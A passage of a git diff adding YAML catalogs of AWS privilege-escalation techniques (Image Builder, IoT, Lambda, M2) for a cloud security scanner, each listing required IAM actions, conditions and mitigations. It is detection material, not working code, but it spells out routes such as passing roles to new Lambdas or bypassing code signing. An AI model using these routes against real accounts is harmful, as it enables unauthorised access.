instance-profile role of an Image Builder pipeline whose recipe references an account-owned component by a version wildcard. + requires: + all_of: + - action: imagebuilder:CreateComponent + resource: "{target.consumer_input_arn}" + - action: imagebuilder:StartImagePipelineExecution + resource: "{target.attached_resource_arn}" + target: + kind: aws_role + selector: + trust_allows_service: ec2.amazonaws.com + has_instance_profile: true + attached_resource_covered_by: imagebuilder:StartImagePipelineExecution + consumer_input_writable_via: imagebuilder:CreateComponent + via_resource_type: imagebuilder_pipeline + scope: same_account + aggregate_as: "Image Builder infrastructure roles of pipelines with wildcard components in {account}" + conditions: + - id: unpinned_component + description: The recipe must reference an account-owned component with a version wildcard (x.x.x, 1.x.x, 1.2.x); a pinned semantic version or build ARN and AWS-owned components are not affected. Verified from the collected recipe components when GetImageRecipe was readable. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Pin component build versions in recipes and restrict imagebuilder:CreateComponent for consumed component names. + references: [] + notes: No iam:PassRole is needed. The build role is the instance-profile role of the infrastructure configuration and trusts ec2.amazonaws.com (not imagebuilder.amazonaws.com); {target.attached_resource_arn} is the collected imagebuilder_pipeline whose infrastructure configuration (InstanceProfileName) carries the role. {target.consumer_input_arn} is arn:aws:imagebuilder:::component//* for each account-owned version-wildcard component of the pipeline's image recipe (imagebuilder:GetImageRecipe, component ARNs only), since a new component version is a new ARN under the same name; so name-scoped CreateComponent grants are matched. Pipelines whose recipe was not readable (or container-recipe pipelines) fall back to the Region's component/* and stay conditional (imagebuilder_recipe_components_not_collected); a role whose recipes reference only pinned or AWS-owned components is excluded; accounts without a complete pipeline inventory stay unknown. Scheduled pipelines also pick up the new version without StartImagePipelineExecution (delayed). diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/iot.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/iot.yaml new file mode 100644 index 0000000000..f0799b646b --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/iot.yaml @@ -0,0 +1,55 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS IoT Core privilege escalation techniques. +# Source: hacktricks-cloud aws-iot-privesc/README.md and aws-iot-core-privesc/README.md (rev 171e422299). + +- id: aws-iot-passrole-rolealias-certificate + provider: aws + service: iot + title: Point an IoT role alias at a passed role and assume it with a device certificate + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iot-privesc/README.md#iotcreaterolealias--updaterolealias--iampassrole--assume-an-arbitrary-role-via-a-device-certificate + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of any passable role trusting credentials.iot.amazonaws.com through the IoT credential provider. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + - action: iot:AttachPolicy + resource: "*" + - any_of: + - action: iot:CreateRoleAlias + resource: "*" + - action: iot:UpdateRoleAlias + resource: "*" + - any_of: + - action: iot:CreateKeysAndCertificate + resource: "*" + - action: iot:RegisterCertificateWithoutCA + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: credentials.iot.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting credentials.iot.amazonaws.com passable in {account}" + outcome: credentials + conditions: + - id: iot_policy_allows_assume + description: The certificate needs an IoT policy allowing iot:AssumeRoleWithCertificate on the role alias (an existing permissive policy, or iot:CreatePolicy). + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on IoT credential-provider roles and iot:CreateRoleAlias / UpdateRoleAlias / AttachPolicy / certificate creation and registration to IoT administrators. + references: + - https://docs.aws.amazon.com/iot/latest/developerguide/authorizing-direct-aws.html + - https://docs.aws.amazon.com/iot/latest/apireference/API_CreateRoleAlias.html + - https://docs.aws.amazon.com/iot/latest/apireference/API_RegisterCertificateWithoutCA.html + notes: The certificate can be AWS-generated (CreateKeysAndCertificate) or an offline self-signed one registered as ACTIVE (RegisterCertificateWithoutCA, documented under its own heading on the same page). A source already holding an active certificate's private key does not need either; that path is not modelled (false negative only). The aws-iot-core-privesc page documents the same technique. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/lambda.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/lambda.yaml new file mode 100644 index 0000000000..50b4df420f --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/lambda.yaml @@ -0,0 +1,561 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Lambda privilege escalation techniques. +# Source: hacktricks-cloud aws-lambda-privesc/README.md (rev 171e422299). +# Conventions used across catalog/aws/*.yaml written for AWS part B (see SCHEMA EXTENSIONS in the agent report): +# resource "{target.resource_arn}" -> ARN of the EXISTING resource (function, instance, job, cluster, ...) that carries the +# target role; every requirement using it must cover the SAME resource. +# resource "{target.artifact_arn}" -> ARN of an executable artifact (S3 object, ECR repository, SSM document) that the +# target role's workload later consumes/executes. +# selector via_resource_type: -> target role is the execution/instance role of an existing resource of type +# whose ARN is {target.resource_arn}. +# selector via_artifact_type: -> target role is the role of a workload that consumes the artifact {target.artifact_arn}. + +- id: aws-lambda-passrole-createfunction-invokefunction + provider: aws + service: lambda + title: Create a Lambda function with a passed execution role and invoke it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#iampassrole-lambdacreatefunction-lambdainvokefunction + source_revision: 171e422299 + summary: The source can obtain the privileges of any passable role trusting lambda.amazonaws.com. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: lambda.amazonaws.com + - action: lambda:CreateFunction + resource: arn:{source.partition}:lambda:*:{source.account}:function:* + bind: new_function + - action: lambda:InvokeFunction + resource: arn:{source.partition}:lambda:*:{source.account}:function:* + bind: new_function + target: + kind: aws_role + selector: + trust_allows_service: lambda.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting lambda.amazonaws.com passable in {account}" + outcome: workload_execution + conditions: + - id: passrole_condition_key + description: iam:PassedToService / iam:AssociatedResourceArn conditions on the PassRole grant may restrict which roles can be passed to Lambda. + - id: invoke_resource_scope + description: lambda:InvokeFunction must cover the newly created function name; a name-restricted Resource limits which names the source can use but does not remove the edge if any covered name is free. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole to specific Lambda execution roles with iam:PassedToService=lambda.amazonaws.com, and scope lambda:CreateFunction/InvokeFunction to named functions. + references: + - https://docs.aws.amazon.com/lambda/latest/dg/lambda-intro-execution-role.html + notes: Only roles whose trust policy allows lambda.amazonaws.com can be used as an execution role. + +- id: aws-lambda-passrole-createfunction-addpermission + provider: aws + service: lambda + title: Create a Lambda function with a passed role and grant itself invoke via the resource policy + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#iampassrole-lambdacreatefunction-lambdaaddpermission + source_revision: 171e422299 + summary: The source can obtain the privileges of any passable role trusting lambda.amazonaws.com without holding lambda:InvokeFunction. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: lambda.amazonaws.com + - action: lambda:CreateFunction + resource: arn:{source.partition}:lambda:*:{source.account}:function:* + bind: new_function + - action: lambda:AddPermission + resource: arn:{source.partition}:lambda:*:{source.account}:function:* + request_context: + lambda:Principal: + source_principal: true + bind: new_function + target: + kind: aws_role + selector: + trust_allows_service: lambda.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting lambda.amazonaws.com passable in {account}" + outcome: workload_execution + conditions: + - id: passrole_condition_key + description: iam:PassedToService / iam:AssociatedResourceArn conditions may restrict which roles can be passed. + - id: source_invoke_grant + description: The new function's resource policy must grant lambda:InvokeFunction to the source principal without a URL-only or service-source restriction. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole and lambda:AddPermission; deny lambda:AddPermission except to deployment principals. + references: [] + notes: Same reachable set as the CreateFunction+InvokeFunction variant; distinct permission combination. + +- id: aws-lambda-passrole-createfunction-createeventsourcemapping + provider: aws + service: lambda + title: Create a Lambda function with a passed role and trigger it through an event source mapping + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#iampassrole-lambdacreatefunction-lambdacreateeventsourcemapping + source_revision: 171e422299 + summary: The source can obtain the privileges of any passable role trusting lambda.amazonaws.com via an event-source-triggered function. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + - action: lambda:CreateFunction + resource: "*" + - action: lambda:CreateEventSourceMapping + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: lambda.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting lambda.amazonaws.com passable in {account}" + outcome: workload_execution + conditions: + - id: event_source_available + description: An event source must exist or be creatable and receive a record (e.g. dynamodb:CreateTable/PutItem or an existing stream/queue with traffic); the passed role must be able to read that source for the mapping to be created. + - id: passrole_condition_key + description: iam:PassedToService / iam:AssociatedResourceArn conditions may restrict which roles can be passed. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole to specific roles with iam:PassedToService, and restrict lambda:CreateEventSourceMapping to deployment principals. + references: + - https://docs.aws.amazon.com/lambda/latest/dg/invocation-eventsourcemapping.html + notes: HackTricks uses DynamoDB as the trigger; any poll-based source the passed role can read works. The self-contained DynamoDB variant (Pacu PassExistingRoleToNewLambdaThenTriggerWithNewDynamo) is aws-lambda-passrole-createfunction-dynamodb-stream-trigger. + +- id: aws-lambda-passrole-createfunction-dynamodb-stream-trigger + provider: aws + service: lambda + title: Create a Lambda function with a passed role and trigger it from a new DynamoDB stream + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#iampassrole-lambdacreatefunction-lambdacreateeventsourcemapping + source_revision: 171e422299 + summary: The source can obtain the privileges of any passable role trusting lambda.amazonaws.com by creating a DynamoDB table with a stream, mapping the stream to a function it creates with the role, and writing an item to fire it. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + - action: lambda:CreateFunction + resource: "*" + - action: lambda:CreateEventSourceMapping + resource: "*" + - action: dynamodb:CreateTable + resource: "arn:{source.partition}:dynamodb:*:{target.account}:table/*" + - action: dynamodb:PutItem + resource: "arn:{source.partition}:dynamodb:*:{target.account}:table/*" + target: + kind: aws_role + selector: + trust_allows_service: lambda.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting lambda.amazonaws.com passable in {account}" + outcome: workload_execution + conditions: + - id: role_reads_stream + description: The passed role must hold dynamodb:DescribeStream / GetRecords / GetShardIterator / ListStreams on the new table's stream (for example via AWSLambdaDynamoDBExecutionRole), or the mapping creation fails. + - id: passrole_condition_key + description: iam:PassedToService / iam:AssociatedResourceArn conditions may restrict which roles can be passed. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole to specific roles with iam:PassedToService, and restrict lambda:CreateEventSourceMapping and dynamodb:CreateTable to deployment principals. + references: + - https://docs.aws.amazon.com/lambda/latest/dg/with-ddb.html + - https://github.com/RhinoSecurityLabs/pacu/tree/master/pacu/modules/iam__privesc_scan + notes: Pacu PassExistingRoleToNewLambdaThenTriggerWithNewDynamo. The table is created with StreamSpecification enabled (part of dynamodb:CreateTable); the item write fires the mapping. Removes the event_source_available condition of aws-lambda-passrole-createfunction-createeventsourcemapping. + +- id: aws-lambda-updatefunctioncode + provider: aws + service: lambda + title: Replace the code of an existing Lambda function + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#lambdaupdatefunctioncode + source_revision: 171e422299 + summary: The source can obtain the privileges of the execution role of existing Lambda functions whose code it can update. + requires: + all_of: + - action: lambda:UpdateFunctionCode + resource: "{target.resource_arn}" + target: + kind: aws_role + selector: + attached_to_service: lambda + via_resource_type: lambda_function + scope: same_account + aggregate_as: "Execution roles of Lambda functions updatable in {account}" + preconditions: + - lambda_existing_zip_function_direct_invoke_ready + conditions: + - id: function_invocation + description: The source can invoke the same function after updating its code; an uncollected trigger remains unresolved. + blockers: + - lambda_code_signing_enforced + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict lambda:UpdateFunctionCode to the deployment pipeline on specific function ARNs and enforce a code-signing config with UntrustedArtifactOnDeployment=Enforce. + references: + - https://docs.aws.amazon.com/lambda/latest/dg/configuration-codesigning.html + notes: A reported route uses one active ZIP function with completed update status, no enforced code signing, and matching UpdateFunctionCode and InvokeFunction permissions. Image functions and unverified trigger paths stay unresolved. + +- id: aws-lambda-codesigning-bypass-updatefunctioncode + provider: aws + service: lambda + title: Remove or replace a function's code-signing config, then replace its code + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#lambdadeletefunctioncodesigningconfig-or-lambdaputfunctioncodesigningconfig--lambdaupdatefunctioncode--bypass-lambda-code-signing + source_revision: a66f094ede + summary: The source can obtain the privileges of the execution role of code-signed Lambda functions whose code-signing config it can remove or replace. + requires: + all_of: + - action: lambda:UpdateFunctionCode + resource: "{target.resource_arn}" + target: + kind: aws_role + selector: + attached_to_service: lambda + via_resource_type: lambda_function + scope: same_account + aggregate_as: "Execution roles of code-signed Lambda functions in {account}" + preconditions: + - lambda_enforced_zip_function_signing_bypass_and_invoke + conditions: + - id: warn_config_available + description: PutFunctionCodeSigningConfig must cover a real Warn configuration ARN; UpdateCodeSigningConfig on the current configuration is another possible route. + - id: function_invocation + description: The function must run after the change (own InvokeFunction permission or existing trigger). + - id: lambda_codesigningconfigarns_condition + description: A lambda:CodeSigningConfigArns condition on CreateFunction/UpdateFunctionCode policies can force a specific config and prevents the swap path. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Deny lambda:DeleteFunctionCodeSigningConfig, lambda:PutFunctionCodeSigningConfig and lambda:CreateCodeSigningConfig to non-admins, and enforce code signing via SCP with lambda:CodeSigningConfigArns. + references: + - https://docs.aws.amazon.com/lambda/latest/dg/configuration-codesigning.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_lambda.html + notes: DeleteFunctionCodeSigningConfig is authorized on the function ARN. PutFunctionCodeSigningConfig and UpdateCodeSigningConfig are authorized on code-signing-config ARNs. New Warn configurations are reported only when a recorded publisher and broad Create/Put permissions support them; other creation paths remain unresolved. + +- id: aws-lambda-signer-startsigningjob-updatefunctioncode + provider: aws + service: lambda + title: Sign attacker code with a publisher profile already trusted by a function's code-signing config + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#signerstartsigningjob--lambdaupdatefunctioncode--sign-attacker-code-with-an-already-trusted-publisher + source_revision: 171e422299 + summary: The source can obtain the privileges of the execution role of code-signed Lambda functions whose config trusts a signing profile it can use. + requires: + all_of: + - action: signer:StartSigningJob + resource: "*" + - action: lambda:UpdateFunctionCode + resource: "{target.resource_arn}" + - action: lambda:GetCodeSigningConfig + resource: "*" + - action: s3:PutObject + resource: "*" + - action: s3:GetObject + resource: "*" + - action: s3:GetObjectVersion + resource: "*" + - action: s3:ListBucket + resource: "*" + target: + kind: aws_role + selector: + attached_to_service: lambda + via_resource_type: lambda_function + scope: same_account + aggregate_as: "Execution roles of code-signed Lambda functions in {account}" + conditions: + - id: signing_profile_trusted + description: signer:StartSigningJob must cover a signing profile whose version ARN is in the AllowedPublishers of the function's code-signing config. + - id: versioned_source_bucket + description: Signer requires a versioned S3 source bucket and a destination bucket the source can write and read. + - id: function_invocation + description: The function must run after the update. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict signer:StartSigningJob on production signing profiles to the release pipeline, and keep signing profiles per environment. + references: + - https://docs.aws.amazon.com/signer/latest/developerguide/signing-profiles.html + notes: The evaluator should check that the signing profile covered by StartSigningJob is trusted by the function's CSC; without that fact the edge is conditional. + +- id: aws-lambda-passrole-updatefunctionconfiguration-role-swap + provider: aws + service: lambda + title: Repoint and replace the code of an existing Lambda function + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#iampassrole-lambdaupdatefunctionconfiguration-lambdainvokefunction--repoint-an-existing-functions-execution-role + source_revision: 171e422299 + summary: The source can run chosen code under a passable Lambda-trusting role by changing the role and code of one existing function it can invoke. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + - action: lambda:UpdateFunctionConfiguration + resource: "*" + - action: lambda:UpdateFunctionCode + resource: "*" + - action: lambda:InvokeFunction + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: lambda.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting lambda.amazonaws.com passable in {account}" + outcome: workload_execution + preconditions: + - lambda_existing_zip_function_role_swap_ready + conditions: + - id: same_function + description: The role change, code update, and invocation must cover the same active ZIP function. + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict iam:PassRole to approved Lambda roles and restrict function configuration and code updates to deployment principals. + references: + - https://docs.aws.amazon.com/lambda/latest/api/API_UpdateFunctionConfiguration.html + - https://docs.aws.amazon.com/lambda/latest/dg/lambda-intro-execution-role.html + notes: Changing a function's role without controlling its code does not grant the caller the role's general permissions. This route requires control of both the role and executable ZIP code on one function. + +- id: aws-lambda-putresourcepolicy-grant-updatefunctioncode + provider: aws + service: lambda + title: Grant code updates to oneself through a Lambda function resource policy + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#lambdaputresourcepolicy--lambdaaddpermission--lambdaremovepermission--grant-code-updates-through-a-function-policy + source_revision: 171e422299 + summary: The source can obtain the privileges of the execution role of existing Lambda functions whose resource policy it can replace, by granting itself lambda:UpdateFunctionCode there. + requires: + all_of: + - action: lambda:PutResourcePolicy + resource: "{target.resource_arn}" + request_context: + lambda:Principal: + source_principal: true + - action: lambda:AddPermission + resource: "{target.resource_arn}" + request_context: + lambda:Principal: + source_principal: true + - action: lambda:RemovePermission + resource: "{target.resource_arn}" + target: + kind: aws_role + selector: + attached_to_service: lambda + via_resource_type: lambda_function + scope: same_account + aggregate_as: "Execution roles of Lambda functions whose policy is writable in {account}" + outcome: workload_execution + preconditions: + - lambda_policy_rewrite_zip_code_and_invoke_ready + conditions: + - id: same_function + description: The policy rewrite must grant code update and invocation on the same runnable ZIP function. + - id: no_explicit_deny + description: The source's identity policy, permissions boundary, and organization policy must not explicitly deny either granted action. + blockers: + - lambda_code_signing_enforced + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict lambda:PutResourcePolicy, lambda:AddPermission and lambda:RemovePermission to deployment principals on exact function ARNs, and enforce code signing. + references: + - https://docs.aws.amazon.com/lambda/latest/dg/access-control-resource-based.html + notes: PutResourcePolicy requires all three permissions per the Lambda documentation, and UpdateFunctionCode is among the actions a function resource policy can grant. lambda:AddPermission alone is covered by the existing AddPermission entries. + +- id: aws-lambda-passrole-createfunction-functionurl + provider: aws + service: lambda + title: Create a Lambda with a passed role and invoke it through a Function URL + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#iampassrole-lambdacreatefunction-lambdacreatefunctionurlconfig-lambdainvokefunctionurl + source_revision: 171e422299 + summary: The source can run code with a passable Lambda execution role through a newly created Function URL when it can invoke that URL and its function. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: lambda.amazonaws.com + - action: lambda:CreateFunction + resource: arn:{source.partition}:lambda:*:{source.account}:function:* + bind: new_function + - action: lambda:CreateFunctionUrlConfig + resource: arn:{source.partition}:lambda:*:{source.account}:function:* + request_context: + lambda:FunctionUrlAuthType: AWS_IAM + bind: new_function + - action: lambda:InvokeFunctionUrl + resource: arn:{source.partition}:lambda:*:{source.account}:function:* + request_context: + lambda:FunctionUrlAuthType: AWS_IAM + bind: new_function + - action: lambda:InvokeFunction + resource: arn:{source.partition}:lambda:*:{source.account}:function:* + request_context: + lambda:InvokedViaFunctionUrl: "true" + bind: new_function + target: + kind: aws_role + selector: + trust_allows_service: lambda.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting lambda.amazonaws.com in {account}" + outcome: workload_execution + conditions: + - id: url_auth_type + description: The new URL must use AWS_IAM auth; a NONE URL also needs a public function resource policy, which this route does not establish. + - id: same_new_function + description: CreateFunction, CreateFunctionUrlConfig, InvokeFunctionUrl and InvokeFunction must all be authorized for one available function name in the same Region. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on Lambda execution roles and lambda:CreateFunctionUrlConfig to deployment principals. + references: + - https://docs.aws.amazon.com/lambda/latest/dg/urls-auth.html + notes: New Function URLs require both invoke actions. This route remains distinct from direct invocation when InvokeFunction is permitted only with lambda:InvokedViaFunctionUrl=true. + +- id: aws-lambda-microvm-passrole-runmicrovm-shell + provider: aws + service: lambda + title: Launch a Lambda MicroVM with a passed execution role and open a shell into it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#lambda-microvms + source_revision: b587e6bd26 + summary: The source can obtain the privileges of passable roles usable as Lambda MicroVM execution roles by launching a MicroVM runtime with that role and the shell-ingress connector and then opening an interactive shell in the guest, which receives the role credentials through IMDSv2. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: lambda.amazonaws.com + target: + kind: aws_role + selector: + trust_allows_service: lambda.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles passable as Lambda MicroVM execution roles in {account}" + outcome: workload_execution + preconditions: + - lambda_microvm_shell_runnable_image_and_role + conditions: + - id: passrole_condition_key + description: iam:PassedToService / iam:AssociatedResourceArn conditions on the PassRole grant may restrict which roles can be attached to a MicroVM. + - id: same_image_scope + description: RunMicrovm and CreateMicrovmShellAuthToken are authorized on the MicroVM image ARN; both grants must cover the same usable image (customer or AWS-managed) for the edge to hold. + - id: shell_ingress_connector + description: The runtime must be launched with the AWS-managed SHELL_INGRESS connector; it cannot be added to a running MicroVM. + - id: alternative_attacker_image + description: A source able to build its own MicroVM image could instead run arbitrary application code with the passed role without a shell token; that variant is not modelled separately. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole for MicroVM execution roles to exact role ARNs with iam:PassedToService, scope lambda:RunMicrovm and lambda:CreateMicrovmShellAuthToken to exact image ARNs for operators only, and avoid the SHELL_INGRESS connector on images that run with privileged roles. + references: + - https://docs.aws.amazon.com/lambda/latest/dg/microvms-how-it-works.html + - https://docs.aws.amazon.com/lambda/latest/dg/microvms-security.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_lambda.html + notes: RunMicrovm attaches an optional execution role whose credentials the guest receives through IMDSv2. AWS requires the execution role to trust lambda.amazonaws.com for sts:AssumeRole and sts:TagSession. The evaluator joins one recorded runnable image covered by RunMicrovm and CreateMicrovmShellAuthToken with PassNetworkConnector on the same Region's SHELL_INGRESS connector. + +- id: aws-lambda-passrole-createfunction-eventbridge-trigger + provider: aws + service: lambda + title: Run a newly created Lambda with a passable role through EventBridge + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#cronevent-actuator + source_revision: b587e6bd26 + summary: The source can run chosen code under a stronger Lambda-trusting role by creating a function and a scheduled EventBridge rule that invokes it. + requires: + all_of: + - action: iam:PassRole + resource: '{target.arn}' + - action: lambda:CreateFunction + resource: arn:{source.partition}:lambda:*:{source.account}:function:* + bind: new_function + - action: events:PutRule + resource: arn:{source.partition}:events:*:{source.account}:rule/* + bind: scheduled_rule + - action: events:PutTargets + resource: arn:{source.partition}:events:*:{source.account}:rule/* + bind: scheduled_rule + - action: lambda:AddPermission + resource: arn:{source.partition}:lambda:*:{source.account}:function:* + bind: new_function + request_context: + lambda:Principal: events.amazonaws.com + target: + kind: aws_role + selector: + trust_allows_service: lambda.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: Passable Lambda roles reachable via EventBridge in {account} + outcome: workload_execution + conditions: + - id: scheduled_rule_invokes_function + description: The source must create an enabled scheduled rule targeting the newly created function and grant events.amazonaws.com invoke permission on that function; function and rule must be creatable in a common Region. + - id: passrole_condition_key + description: iam:PassedToService and iam:AssociatedResourceArn conditions must allow passing the role to this new Lambda function. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole, lambda:CreateFunction, events:PutRule, events:PutTargets, and lambda:AddPermission to approved deployment principals. + references: [] + notes: The two page examples, creating IAM user keys and granting assume-role permissions, are payload effects of this one role-execution path. EventBridge schedule can supply the trigger without an external event source. +- id: aws-lambda-getconfig-secret-identity + provider: aws + service: lambda + title: Recover a distinct identity credential from GetFunctionConfiguration environment + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#enumeration + source_revision: b587e6bd26 + summary: Recover a distinct identity credential from GetFunctionConfiguration environment when the exact + target and prerequisites are verified. + requires: + all_of: + - action: lambda:GetFunctionConfiguration + resource: '*' + target: + kind: aws_user + selector: + aws_challenge_fact: aws-lambda-getconfig-secret-identity + scope: same_account + aggregate_as: Verified Recover a distinct identity credential from GetFunctionConfiguration environment + targets in {account} + grants: + - Exact IAM user authenticated by a reviewed usable access key in the named resource + outcome: credentials + conditions: + - id: exact_credential_subject_resource + description: A reviewed evidence record must bind the source IAM principal, exact readable resource + and action, a read and authentication as the named IAM user, and an exact action and resource denied + to the source but allowed with that key; the source must hold effective read permission. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict the exact read or mutation permission and remove exposed credentials. + references: + - https://docs.aws.amazon.com/lambda/latest/dg/configuration-envvars.html + notes: Only a direct IAM user access key is modeled. STS and application sessions remain held because + their effective rights may be narrower than the role or application identity. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/lightsail.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/lightsail.yaml new file mode 100644 index 0000000000..7b53d52445 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/lightsail.yaml @@ -0,0 +1,7 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/m2.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/m2.yaml new file mode 100644 index 0000000000..fdd039ec45 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/m2.yaml @@ -0,0 +1,50 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Mainframe Modernization (M2) privilege escalation techniques. +# Source: hacktricks-cloud aws-mainframe-modernization-privesc/README.md. + +- id: aws-m2-passrole-createapplication-deploy + provider: aws + service: m2 + title: Create, deploy and start an M2 application with a passed application role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mainframe-modernization-privesc/README.md#m2createapplication--iampassrole---execute-a-workload-with-an-application-role + source_revision: 171e422299 + summary: The source may cause an M2 application to use a passable application role for resource actions driven by attacker-controlled artifacts. + requires: + all_of: + - action: m2:CreateApplication + resource: "*" + - action: m2:CreateDeployment + resource: "*" + - action: m2:StartApplication + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: m2.amazonaws.com + scope: same_account + aggregate_as: "Mainframe Modernization application roles in {account}" + outcome: workload_execution + preconditions: + - m2_existing_environment_new_application_deploy + conditions: + - id: runtime_environment_exists + description: An existing managed runtime environment must be available for the deployment (m2:CreateDeployment covers both the new application and that environment). + - id: valid_artifacts + description: The source must read an S3 application definition and artifacts valid for the chosen engine (s3:GetObject and s3:ListBucket, plus KMS permissions for a customer key). + - id: role_use_bounded + description: The application role is used by the managed runtime for the resources the workload accesses; the page does not show the role's credentials being exposed to workload code, so the reachable authority is what the workload can drive through the runtime. + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict this. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: medium + mitigation: Restrict iam:PassRole on M2 application roles to deployment pipelines with iam:PassedToService and exact role ARNs, and keep application roles least-privileged. + references: + - https://docs.aws.amazon.com/m2/latest/userguide/security-iam.html + notes: Creating an application record alone does not use the role; deployment and start are required. The evaluator requires one collected Available runtime environment, exact deployment authorization on it, broad deployment and start authority covering the generated application ID, PassRole to m2.amazonaws.com, and a writable readable S3 definition path. Valid engine artifacts and the role's exact runtime effects remain conditional. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/migrationhub.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/migrationhub.yaml new file mode 100644 index 0000000000..1b887e30fe --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/migrationhub.yaml @@ -0,0 +1,102 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional 